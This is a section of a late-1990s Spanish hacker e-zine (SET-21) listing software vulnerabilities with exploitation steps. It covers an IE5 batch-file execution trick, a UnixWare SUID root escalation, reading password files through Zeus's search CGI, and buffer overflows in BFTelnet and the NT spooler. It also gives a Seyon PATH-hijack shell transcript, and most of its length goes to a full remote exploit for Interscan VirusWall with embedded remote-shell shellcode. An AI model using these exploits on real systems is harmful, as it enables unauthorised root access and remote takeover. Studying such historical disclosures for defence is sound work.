-[ 0x09 ]-------------------------------------------------------------------- -[ THE BUGS TOP LESS ]------------------------------------------------------- -[ by Falken & Cia ]--------------------------------------------------SET-21- Hola, hola, hola. (Joers, parezco el Joaquin Luky) Como prometi, no voy a abandonar SET. ni mucho menos. Solo que mis colaboraciones seran escasas durante un tiempo. De hecho, para este numero me hubiese gustado haber hecho algo mas. Pero el tiempo es el tiempo, y teoricamente no se puede parar. aunque algunos defienden que eso del tiempo no existe (New Scientist - hace unas semanasI). Bueno, eso es otra historia. ;-> Bien, esta vez no son 10 los bugs que se introduciran en esta seccion, aunque quien sabe que pasara en un futuro. De momento solo decir que se busca exterminador para llevar a cabo esta seccion. Interesados ponerse en contacto con la direccion que aparece en la seccion de avisos, es decir, con el editor. Ah! Y no la voy a repetir aqui, que si no, seguro que no leeis esa seccion. Demos paso a algunas cosillas interesantes descubiertas (o sacadas a la luz) en los ultimos dias. Comenzamos!!! -( 0x01 )- Tema : The eXecutor Para : Internet Exploiter 5 Patch : JeJeJeJe Creditos : Uhmm! Pues ahora no lo recuerdo. Descripcion y Notas: Se trata no de un bug, si no de un fallo de dise~o (o concepto) que puede acarrear problemas a mas de uno. El resultado: hasta el formateo del disco duro. Eso si, sin Active X ni nada similar. Veamos como funciona. Para empezar crearemos una pagina web cualquiera que ubicaremos en un servidor cualquiera. Esta pagina contendra un enlace a un fichero .bat o .pif a nuestra eleccion, que tambien tendremos en dicho servidor. Ese fichero .bat (o .pif, recordemoslo), contendra aquellos comandos que queremos que se ejecuten en la maquina cliente. El fallo es este. Desde IE 5, cuando seleccionamos dicho enlace, aparece ante nosotros una ventanita. Si elegimos abrir fichero, este se ejecuta. No es algo grave. Pero si tenemos en cuenta que tradicionalmente abrir se asocia mentalmente a abrir el fichero, no a ejecutarlo... Ahi tenemos el potencial peligro. La respuesta de los responsables de Microsoft ha sido tajante: seleccionar abrir equivale a pulsar dos veces sobre el fichero en nuestra maquina local. Me encanta la seguridad de Microsoft. Es ciertamente espeluznante. -( 0x02 )- Tema : Ejecucion de programas modo root Para : SCO UnixWare 7.1 Patch : Algun otro unix Creditos : Brock Tellier Descripcion y Notas: Un fallo en el dise~o de uno de los programas que se incluyen con UnixWare 7.1 nos va a permitir ejecutar programas en modo root. Se trata de un fallo con el programa /usr/lib/merge/dos7utils. Este programa viene como SUID root por defecto, asi que ya nos imaginamos el problema. El programa en si ejecutara un script, llamado localeset.sh, cuya ubicacion puede variar. Para determinar donde se encuentra, se hace uso de una variable de entorno llamada STATICMERGE. Entonces basta con definir la variable con un directorio en el que tengamos permisos de escritura y llamar al programa con la opcion -f. En el directorio seleccionado creamos un shell script con aquello que queramos ejecutar, y lo llamamos localeset.sh. Entonces ejecutamos dos7utils -f nombre_cualquiera. -( 0x03 )- Para : Zeus Webserver (casi todos los UNIX, y WIN) Tema : Una maquina abierta... Patch : Simple... deshabilitar el motor de busqueda. Restringir el acceso a la administracion por UI a un par de maquinas de confianza. Creditos : rain forest puppy Descripcion y notas: -------------------- Zeus es un server creado por Zeus Technolog. (www.zeus.co.uk). El problema encontrado en este server reside en su motor de busqueda CGI; Zeus permite poner este motor en los Websites Virtuales que tengamos. Si esta instalado podemos usarlo para coger archivos accesibles por el UID del server (si el que lo instalo era un poco descuidado puede ser *root*, pero lo normal es que sea *nobody*). Veamos el formulario de busqueda:
Query: Obsrevemos como el indexfile y el template son paths "duros" ;)) Bien... y si cambiamos el template ??, no obtendremos la salida de la busqueda, pero para que la queremos si el valor que le damos a template es /etc/passwd ??! (por ejemplo! ) ;) Mas cositas... - Administrative interface password - Zeus trae tambien un web UI para administracion que suele encontrarse en el puerto 9090, y es instalado como *ROOT*, ya que necesita cambiar configuraciones de archivos (asi que siempre corre como ROOT, no hay otra opcion!!, o se cambian bastantes cosas a mano para hacerlo correr de otro modo). Asi que tenemos un permiso de root solo restringido por una autentificacion. Como podemos leer cualquier archivo del server (habeis leido lo anterior no?), leamos el archivo con los passwords de administracion: /usr/local/zeus/admin/website (por defecto) En este archivo hay cosas como: modules!access!users!admin yoEPUmukiYLrPvz4jqBeJQ== Esto es una pareja username/password. Por defecto el username es admin, pero no hay pass por defecto, ya que te la requiere cuando instalas esta utilidad. Pero hay suerte... el formato de encriptacion es relativamente simple: base 64 uuencoded MD5 hash. Asi que modificando tu crakeador por fuerza bruta ( o creandote uno), podrias intentar crakear este archivo. Bien... estamos dentro!... ahora que??: Solo decir que podeis subir cualquier archivo.. binarios,etc.. y hacerlos correr como root asi que con un poco de imaginacion, nos pueden destrozar el site. Algunas actualizaciones: Whisker 1.1.1. www.wiretrip.net/rfp/. Arregla algunos agujeros. --- Advisory RFP9905 ------------------------------ rfp.labs ------------ -( 0x03 )- Para : Windows NT (BFTelnet Server v1.1) Tema : Buffer Overflow Patch : Usar un UNIX?? Creditos : USSRLabs Descripcion y notas: -------------------- El overflow se produce al insertar un username de 3090 caracteres. Si el server esta corriendo como un servicio este saldra y no habra mensajes en la pantalla. Ejemplo: palometa@hellme]$ telnet example.com Trying example.com... Connected to example.com. Escape character is '^]'. Byte Fusion Telnet, Copyright 1999 Byte Fusion Corporation Unregistered Evaluation. See www.bytefusion.com/telnet.html (Machine name) Login: [buffer] Donde [buffer] es de aprox. 3090 caracteres. Ahora se cierra el cliente telnet. -( 0x04 )- Para : IE5 (Windows NT y 95, 98??) Tema : Acceso al disco duro Patch : De momento: no usarlo, o desactivar el Active Scripting Creditos : George Guninski y Shane Hird Detalles y notas: ----------------- El problema es el siguiente: Si despues de: window.open("HTTP-redirecting-URL"). pones a=window.open("HTTP-redirecting-url"); b=a.document; entonces tienes acceso a la URL redireccionada a traves de "b". CODIGO : (modificado anti script-kiddies) ------------------------------------------------------------------------- // "http://www.nat.bg/~joro/reject.cgi?test.txt" just does a HTTP redirect to: "file://c:/test.txt" ----------------------------------------------------------------------------- Demonstracion disponible en http://www.nat.bg/~joro/msredir1.html -( 0x05 )- Para : Windows NT 4.0 (todos los S.Packs) Tema : Hackeando por la impresora Patch : En Microsoft, ver abajo. Creditos : eEye Digital Security Team Detalles y Notas: ----------------- El fallo reside en el Spoolss.exe (Win NT spooler service), y en algunas otras APIs de control de la impresora. En general son buffer overflows los problemas que presentan. El que aparece a continuacion solo puede ser explotado localmente y ccomo Power User, asi que *solo* conseguiriamos nivel de SYSTEM, lo que sigue siendo preocupante!. (esto no quiere decir que otros posibles Buff. Overflows requieran estar en local y con dichos privilegios) Exploit: (como es normal.. no funcionara! ;)) ----spoolss.c---- #include #include int main() { char bigbufer[3000]; int i; strcpy(bigbuffer,"\\\\"); for(i=0;i<2000;i++) strcat(bigbuffer,"A"); AddPrintProcesor(NULL,NULL,bigbuffer,bigbuffer); return(0); } ----spoolss.c---- Informacion ams detallada en el advisory de Micro$oft. http://www.eeye.com/html/Advisories/spoolsploit.zip Fixes: X86: http://download.microsoft.com/download/winntsrv40/Patch/Spooler-fix/NT4/EN-U S/Q243649.exe Alpha: http://download.microsoft.com/download/winntsrv40/Patch/Spooler-fix/ALPHA/EN -US/Q243649.exe Windows NT 4.0 Server, Terminal Server Edition: To be released shortly Links Relacionados: Retina - The Network Security Scanner http://www.eEye.com/retina/ Smarter. Faster. Sexier. w00w00 - w00giving http://www.datasurge.net/www.w00w00.org/ Copyright (c) 1999 eEye Digital Security Team info@eEye.com www.eEye.com -( 0x06 )- Para : Seyon v2.14b (distrib. de FreeBSD 3.3) Tema : Usar privilegios del grupo usado por Seyon Patch : chmod 750 `which seyon` y a~adir los usuarios que se desea al grupo "dialer" Creditos : Brock Tellier Detalles y Notas: ---------------- Cuando se inicia Seyon, este lanza "seyon-emu" y "xterm", el PATH usado por estos programas no son absolutos y son cogidos del $PATH del usuario; si aņadimos a nuestro $PATH un directorio al que tengamos acceso de escritura y poniendo nuestra propia version de seyon-emu o xterm, podremos hacer que Seyon los lance con egid "dialer" EXPLOIT: (Ya sabeis... a leerlo con detalle por ke hay gazapo!) bash-2.03$ uname -a; id; ls -la `which seyon` FreeBSD 3.3-RELEASE FreeBSD 3.3-RELEASE #0: Thu Sep 16 23:40:35 GMT 1999 jkh@highwing.cdrom.com:/usr/src/sys/compile/GENERIC i386 uid=1000(xnec) gid=1000(xnec) groups=1000(xnec) -rwxr-sr-x 1 bin dialer 88480 Sep 11 00:55 /usr/X11R6/bin/seyon bash-2.03$ cat > seyonx.c void main () { setegid(getegid, getegid()); system("/usr/local/bin/bash"); } bash-2.03$ gcc -o seyon-emu seyonx.c bash-2.03$ PATH=.:$PATH bash-2.03$ seyon bash-2.03$ id uid=1000(xnec) gid=68(dialer) groups=68(dialer), 1000(xnec) bash-2.03$ -( 0x07 )- Para : VirusWall 3.23/3.3 Tema : Bufer Overflow Patch : ????????? Creditos : Liraz Siri (bug) y dark spyrit (exploit) Detalles y Notas: ---------------- Buffer Overflow al meter un comando HELO demasiado largo. Es curioso que se trate de un programa para proteger de Virus no creeis?? ;)) EXPLOIT: (que no podreis usar si no os lo leeis!) /* Interscan VirusWall 3.23/3.3 remote * by dark spyrit * quick unix port by team teso (http://teso.scene.at/). * * further information at http://www.beavuh.org. */ #include #include #include #include #include #include #include #include #include #include #include #include /* local functions */ void usage (void); unsigned log int net_resolve (char *host); int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec); /* shellcode by dark spyrit */ unsigned long sploit_323_len = 1314; unsigned char sploit_323[] = "\x68\x65\x6c\x6f\x20\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\xbb\x10\x0b\x11\x01\xc1\xeb" "\x02\x8b\xf8\x33\xc0\x50\x48\x90\x50\x59\xf2\xaf" "\x59\xb1\xc6\x8b\xc7\x48\x80\x30\x99\xe2\xfa\x33" "\xf6\x96\x90\x90\x56\xff\x13\x8b\xd0\xfc\x33\xc9" "\xb1\x0b\x49\x32\xc0\xac\x84\xc0\x75\xf9\x52\x51" "\x56\x52\x66\xbb\x34\x43\xff\x13\xab\x59\x5a\xe2" "\xec\x32\xc0\xac\x84\xc0\x75\xf9\x66\xbb\xc4\x42" "\x56\xff\x13\x8b\xd0\xfc\x33\xc9\xb1\x06\x32\xc0" "\xac\x84\xc0\x75\xf9\x52\x51\x56\x52\x66\xbb\x34" "\x43\xff\x13\xab\x59\x5a\xe2\xec\x83\xc6\x05\x33" "\xc0\x50\x40\x50\x40\x50\xff\x57\xe8\x93\x6a\x10" "\x56\x53\xff\x57\xec\x6a\x02\x53\xff\x57\xf0\x33" "\xc0\x57\x50\xb0\x0c\xab\x58\xab\x40\xab\x5f\x48" "\x50\x57\x56\xad\x56\xff\x57\xc0\x48\x50\x57\xad" "\x56\xad\x56\xff\x57\xc0\x48\xb0\x44\x89\x07\x57" "\xff\x57\xc4\x33\xc0\x8b\x46\xf4\x89\x47\x3c\x89" "\x47\x40\x8b\x06\x89\x47\x38\x33\xc0\x66\xb8\x01" "\x01\x89\x47\x2c\x57\x57\x33\xc0\x50\x50\x50\x40" "\x50\x48\x50\x50\xad\x56\x33\xc0\x50\xff\x57\xc8" "\xff\x76\xf0\xff\x57\xcc\xff\x76\xfc\xff\x57\xcc" "\x48\x50\x50\x53\xff\x57\xf4\x8b\xd8\x33\xc0\xb4" "\x04\x50\xc1\xe8\x04\x50\xff\x57\xd4\x8b\xf0\x33" "\xc0\x8b\xc8\xb5\x04\x50\x50\x57\x51\x50\xff\x77" "\xa8\xff\x57\xd0\x83\x3f\x01\x7c\x22\x33\xc0\x50" "\x57\xff\x37\x56\xff\x77\xa8\xff\x57\xdc\x0b\xc0" "\x74\x2f\x33\xc0\x50\xff\x37\x56\x53\xff\x57\xf8" "\x6a\x50\xff\x57\xe0\xeb\xc8\x33\xc0\x50\xb4\x04" "\x50\x56\x53\xff\x57\xfc\x57\x33\xc9\x51\x50\x56" "\xff\x77\xac\xff\x57\xd8\x6a\x50\xff\x57\xe0\xeb" "\xaa\x50\xff\x57\xe4\x90\xd2\xdc\xcb\xd7\xdc\xd5" "\xaa\xab\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9" "\xfc\x99\xde\xfc\xed\xca\xed\xf8\xeb\xed\xec\xe9" "\xd0\xf7\xff\xf6\xd8\x99\xda\xeb\xfc\xf8\xed\xfc" "\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xda\xf5\xf6" "\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xc9\xfc\xfc" "\xf2\xd7\xf8\xf4\xfc\xfd\xc9\xf0\xe9\xfc\x99\xde" "\xf5\xf6\xfb\xf8\xf5\xd8\xf5\xf5\xf6\xfa\x99\xce" "\xeb\xf0\xed\xfc\xdf\xf0\xf5\xfc\x99\xcb\xfc\xf8" "\xfd\xdf\xf0\xf5\xfc\x99\xca\xf5\xfc\xfc\xe9\x99" "\xdc\xe1\xf0\xed\xc9\xeb\xf6\xfa\xfc\xea\xea\x99" "\xce\xca\xd6\xda\xd2\xaa\xab\x99\xea\xf6\xfa\xf2" "\xfc\xed\x99\xfb\xf0\xf7\xfd\x99\xf5\xf0\xea\xed" "\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed\x99\xea\xfc" "\xf7\xfd\x99\xeb\xfc\xfa\xef\x99\x9b\x99" "\xff\xff" /* 16 bit remote port number */ "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\xfa\xf4\xfd\xb7\xfc\xe1\xfc\x99\xff\xff\xff\xff" "\x60\x45\x42\x00\x0d\x0a"; unsigned long sploit_33_len = 794; unsigned char sploit_33[] = "\x68\x65\x6c\x6f\x20\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x4b\x8b" "\xc3\xbb\x01\x90\x16\x01\xc1\xeb\x02\x8b\xf8\x33" "\xc0\x50\x48\x90\x50\x59\xf2\xaf\x59\xb1\xc6\x8b" "\xc7\x48\x80\x30\x99\xe2\xfa\x33\xf6\x96\x90\x90" "\x56\xff\x13\x8b\xd0\xfc\x33\xc9\xb1\x0b\x49\x32" "\xc0\xac\x84\xc0\x75\xf9\x52\x51\x56\x52\xb3\x80" "\x90\x90\xff\x13\xab\x59\x5a\xe2\xec\x32\xc0\xac" "\x84\xc0\x75\xf9\xb3\x01\x4b\x90\x56\xff\x13\x8b" "\xd0\xfc\x33\xc9\xb1\x06\x32\xc0\xac\x84\xc0\x75" "\xf9\x52\x51\x56\x52\xb3\x80\x90\x90\xff\x13\xab" "\x59\x5a\xe2\xec\x83\xc6\x05\x33\xc0\x50\x40\x50" "\x40\x50\xff\x57\xe8\x93\x6a\x10\x56\x53\xff\x57" "\xec\x6a\x02\x53\xff\x57\xf0\x33\xc0\x57\x50\xb0" "\x0c\xab\x58\xab\x40\xab\x5f\x48\x50\x57\x56\xad" "\x56\xff\x57\xc0\x48\x50\x57\xad\x56\xad\x56\xff" "\x57\xc0\x48\xb0\x44\x89\x07\x57\xff\x57\xc4\x33" "\xc0\x8b\x46\xf4\x89\x47\x3c\x89\x47\x40\x8b\x06" "\x89\x47\x38\x33\xc0\x66\xb8\x01\x01\x89\x47\x2c" "\x57\x57\x33\xc0\x50\x50\x50\x40\x50\x48\x50\x50" "\xad\x56\x33\xc0\x50\xff\x57\xc8\xff\x76\xf0\xff" "\x57\xcc\xff\x76\xfc\xff\x57\xcc\x48\x50\x50\x53" "\xff\x57\xf4\x8b\xd8\x33\xc0\xb4\x04\x50\xc1\xe8" "\x04\x50\xff\x57\xd4\x8b\xf0\x33\xc0\x8b\xc8\xb5" "\x04\x50\x50\x57\x51\x50\xff\x77\xa8\xff\x57\xd0" "\x83\x3f\x01\x7c\x22\x33\xc0\x50\x57\xff\x37\x56" "\xff\x77\xa8\xff\x57\xdc\x0b\xc0\x74\x2f\x33\xc0" "\x50\xff\x37\x56\x53\xff\x57\xf8\x6a\x50\xff\x57" "\xe0\xeb\xc8\x33\xc0\x50\xb4\x04\x50\x56\x53\xff" "\x57\xfc\x57\x33\xc9\x51\x50\x56\xff\x77\xac\xff" "\x57\xd8\x6a\x50\xff\x57\xe0\xeb\xaa\x50\xff\x57" "\xe4\x90\xd2\xdc\xcb\xd7\xdc\xd5\xaa\xab\x99\xda" "\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9\xfc\x99\xde\xfc" "\xed\xca\xed\xf8\xeb\xed\xec\xe9\xd0\xf7\xff\xf6" "\xd8\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa" "\xfc\xea\xea\xd8\x99\xda\xf5\xf6\xea\xfc\xd1\xf8" "\xf7\xfd\xf5\xfc\x99\xc9\xfc\xfc\xf2\xd7\xf8\xf4" "\xfc\xfd\xc9\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8" "\xf5\xd8\xf5\xf5\xf6\xfa\x99\xce\xeb\xf0\xed\xfc" "\xdf\xf0\xf5\xfc\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5" "\xfc\x99\xca\xf5\xfc\xfc\xe9\x99\xdc\xe1\xf0\xed" "\xc9\xeb\xf6\xfa\xfc\xea\xea\x99\xce\xca\xd6\xda" "\xd2\xaa\xab\x99\xea\xf6\xfa\xf2\xfc\xed\x99\xfb" "\xf0\xf7\xfd\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8" "\xfa\xfa\xfc\xe9\xed\x99\xea\xfc\xf7\xfd\x99\xeb" "\xfc\xfa\xef\x99\x9b\x99" "\xff\xff" /* sploit port number */ "\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\xfa\xf4\xfd\xb7" "\xfc\xe1\xfc\x99\xff\xff\xff\xff\x09\x1f\x40\x00" "\x0d\x0ah"; void usage (void) { printf ("Interscan VirusWall NT 3.23/3.3 remote - http://www.beavuh.org$ "by dark spyrit \n" "quick unix port by team teso\n\n" "usage: vwxploit \n" "eg - vwxploit host.com 25 1234 3.23\n"); exit (EXIT_FAILURE); } int main (int argc, char **argv) { int socket; unsigned char shellcode; unsigned char *sh_port_offset; char *server; unsigned short int port_dest, port_shell; size_t sh_len; struct sockaddr_in sa; if (argc != 5) usage (); server = argv[1]; port_dest = atoi (argv[2]); port_shell = atoi (argv[3]); if (port_dest == 0 || port_shell == 0) usage (); if (strcmp (argv[4], "3.23") == 0) { shellcode = sploit_323; sh_len = sploit_323_len; sh_port_offset = sploit_323 + 1282; } else if (strcmp (argv[4], "3.3") == 0) { shellcode = sploit_33; sh_len = sploit_33_len; sh_port_offset = sploit_33 + 762; } else { fprintf (stderr, "unsupported version\n"); exit (EXIT_FAILURE); } port_shell ^= 0x9999; *sh_port_offset = (char) ((port_shell >> 8) & 0xff); *(sh_port_offset + 1) = (char) (port_shell & 0xff); socket = net_connect (&sa, server, port_dest, 45); if (socket <= 0) { perror ("net_connect"); exit (EXIT_FAILURE); } write (socket, shellcode, sh_len); sleep (1); close (socket); printf ("data send, try \"telnet %s %d\" now\n", argv[1], atoi (argv[3])); exit (EXIT_SUCCESS); } unsigned long int net_resolve (char *host) { long i; struct hostent *he; i = inet_addr (host); if (i == -1) { he = gethostbyname (host); if (he == NULL) { return (0); } else { return (*(unsigned long *) he->h_addr); } } return (i); } int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec) { int n, len, error, flags; int fd; struct timeval tv; fd_set rset, wset; /* first allocate a socket */ cs->sin_family = AF_INET; cs->sin_port = htons (port); fd = socket (cs->sin_family, SOCK_STREAM, 0); if (fd == -1) return (-1); cs->sin_addr.s_addr = net_resolve (server); if (cs->sin_addr.s_addr == 0) { close (fd); return (-1); } flags = fcntl (fd, F_GETFL, 0); if (flags == -1) { close (fd); return (-1); } n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) { close (fd); return (-1); } error = 0; n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); if (n < 0) { if (errno != EINPROGRESS) { close (fd); return (-1); } } if (n == 0) goto done; FD_ZERO(&rset); FD_ZERO(&wset); FD_SET(fd, &rset); FD_SET(fd, &wset); tv.tv_sec = sec; tv.tv_usec = 0; n = select(fd + 1, &rset, &wset, NULL, &tv); if (n == 0) { close(fd); errno = ETIMEDOUT; return (-1); } if (n == -1) return (-1); if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { len = sizeof(error); if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) $ errno = ETIMEDOUT; return (-1); } if (error == 0) { goto done; } else { errno = error; return (-1); } } } else return (-1); done: n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (fd); } *EOF*